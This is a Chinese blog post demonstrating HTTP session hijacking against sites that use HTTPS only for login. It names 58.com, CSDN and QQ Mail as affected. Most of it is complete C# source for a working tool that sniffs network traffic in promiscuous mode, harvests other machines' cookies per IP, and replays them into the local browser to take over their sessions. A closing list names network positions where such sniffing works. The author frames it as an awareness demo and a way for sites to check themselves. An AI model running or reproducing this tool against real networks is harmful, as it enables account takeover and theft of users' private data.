在我的 單點登錄SSO示例代碼 一文中,強烈不建議部署HTTP的SSO服務站點。
在此寫個基於網絡包嗅探的HTTP會話劫持程序,給大家一個直觀的危害性展示。
示例中,我在一台Mac上登錄58同城,被另一台Windows上的程序劫持。“黑客”查看我的信息暢行無阻,還順手改了我的頭像。
先直接上演示動畫吧,48秒:
原文地址:HTTP會話劫持示例-單點登錄SSO
58同城的用戶登錄是采用了HTTPS的,仍然逃不過會話劫持。大部分較規范的網站,都是類似模式:登錄采用HTTPS,主要流量走HTTP。
隨手測試發現,使用該模式的站點,包括csdn、qq郵箱(是的它竟然還有http版的)等等,很多都未做到會話劫持免疫。博客園其實也中招了,但它把敏感操作都放到了HTTPS,所以沒太多影響。
其實,對於用HTTP走流量、HTTPS走認證的站點,略施改造,是可以對會話劫持免疫的。各大網站可以自行下載我的程序自查是否存在缺陷,我可以提供針對性免疫補丁支持。
以下是該示例的主要代碼,蠻簡單,引用了Pcap.NET組件,需要對應安裝WinPcap。基於該組件的網絡數據包嗅探,只是做會話劫持的一種途徑,而且有應用局限性,所以示例代碼更多是一個演示程序而非黑客工具。下面會具體講到。
想跟進最新代碼的還請watch我github上源碼:https://github.com/baibaomen/Baibaomen.HttpHijacker
using PcapDotNet.Core; using PcapDotNet.Packets; using System; using System.Collections.Concurrent; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace Baibaomen.HttpHijacker { public partial class FormHijacker : Form { /// <summary> /// 被嗅探到的各個設備的cookie集合。 /// </summary> ConcurrentDictionary<string, ConcurrentDictionary<string, string>> clientCookies = new ConcurrentDictionary<string, ConcurrentDictionary<string, string>>(); public FormHijacker() { InitializeComponent(); } private void FormHijacker_Load(object sender, EventArgs e) { StartHijack(); } public void StartHijack() { Task.Run(delegate { IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; if (allDevices.Count == 0) { MessageBox.Show("未找到網卡。請確認已安裝WinPcap。"); return; } foreach (var selectedDevice in allDevices) { Task.Run(delegate { PacketCommunicator communicator = selectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000); if (communicator.DataLink.Kind != DataLinkKind.Ethernet) { return; } using (BerkeleyPacketFilter filter = communicator.CreateFilter("tcp and dst port 80")) { communicator.SetFilter(filter); } communicator.ReceivePackets(0, PacketHandler); }); } this.BeginInvoke(new EventHandler(delegate { lbMsg.Text = "監聽已啟動"; })); }); } private void PacketHandler(Packet packet) { try { var sourceIP = packet.Ethernet.IpV4.Source.ToString(); var http = packet?.Ethernet?.IpV4?.Tcp?.Http; if (http == null || http.Header == null) return; if (http.IsRequest && http.IsValid) { String msg = http.Decode(Encoding.UTF8); //只截獲網頁正文請求。 if (!string.IsNullOrEmpty(msg)) { var lines = msg.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); var host = lines.FirstOrDefault(x => x.StartsWith("Host: "))?.Substring("Host: ".Length); var cookie = lines.FirstOrDefault(x => x.StartsWith("Cookie: "))?.Substring("Cookie: ".Length); if (string.IsNullOrEmpty(host)) return; if (!string.IsNullOrEmpty(cookie)) { var cCookies = clientCookies.GetOrAdd(sourceIP, new ConcurrentDictionary<string, string>()); cCookies.AddOrUpdate(host, cookie, (key, oldVal) => cookie); } if (msg.StartsWith("GET ") && (msg.Contains("\nAccept: text/html") || msg.Contains("\nAccept: text/plain")))//篩除對資源文件等的請求,讓數據更干凈。 { var pathAndQuery = lines[0].Substring(0, lines[0].LastIndexOf(" HTTP/")).Substring("GET ".Length); this.BeginInvoke(new EventHandler(delegate { lstSessions.Items.Insert(0, $"{sourceIP}\t{DateTime.Now}\thttp://{host + pathAndQuery}"); })); } } } } catch//可能嗅探數據不完整,丟棄。 { } } [DllImport("wininet.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern bool InternetSetCookie(string lpszUrlName, string lbszCookieName, string lpszCookieData); private void btnHijack_Click(object sender, EventArgs e) { var selected = lstSessions.SelectedItem; if (selected == null) { MessageBox.Show("請選擇待劫持會話"); return; } var segments = selected.ToString().Split('\t'); var ip = segments[0]; var url = segments[2]; var cookies = clientCookies[ip]; foreach (var domainCookie in cookies) //將cookie設置為瀏覽的cookie { foreach (var item in domainCookie.Value.Split(';')) { try { var name = item.Substring(0, item.IndexOf('=')).Trim(); var value = item.Substring(item.IndexOf('=') + 1); InternetSetCookie( "http://" + domainCookie.Key, name, value + ";expires=" + DateTime.UtcNow.AddMinutes(10).ToString("R")); } catch { }//有不符合格式的數據。可能嗅探數據不完整,丟棄。 } } if (lstSessions.SelectedItem != null) { Process.Start("iexplore.exe", url); } } } }
原文地址:HTTP會話劫持示例-單點登錄SSO
會話劫持可以在發生在不少地方/途徑:
- 通過專門設置的路由器/交換機;所有Hub;同一台物理機上的虛擬機
- 所有上網代理
- 可被ARP攻擊的局域網絡
- 不安全的無線網絡
- 網絡運營商具備劫持能力。以前訪問http網站,常常能看到網絡運營商注入的廣告,這說明它是在解析HTTP數據的
可見能夠發生會話劫持的場景比較廣。
本示例采用的是上述第一個途徑,該途徑有較大局限性。這是因為,現在除了部分單位或學校還在用廉價的Hub,大部分是通過路由器、交換機接入網絡的。對此只有在支持的設備上特別配置並指定的機器,才能嗅探到其它機器的數據包。
對於同一台物理機上的虛擬機,因為它們對應一塊物理網卡,所以無需交換機、路由器上做設置,就能嗅探到彼此數據。使用虛擬機環境是一個運行本示例的快捷途徑。
轉載須保留原文鏈接: http://www.cnblogs.com/baibaomen/p/http-session-hijack.html
本作品采用知識共享署名-非商業性使用-相同方式共享 2.5 中國大陸許可協議進行許可。
我的博客歡迎復制共享,但在同時,請保留原文地址,以及我的署名權百寶門-SSO顧問,並且,不得用於商業用途。
如您有任何疑問或者授權方面的協商,請給我郵件。
博客園專欄:
百寶門-SSO顧問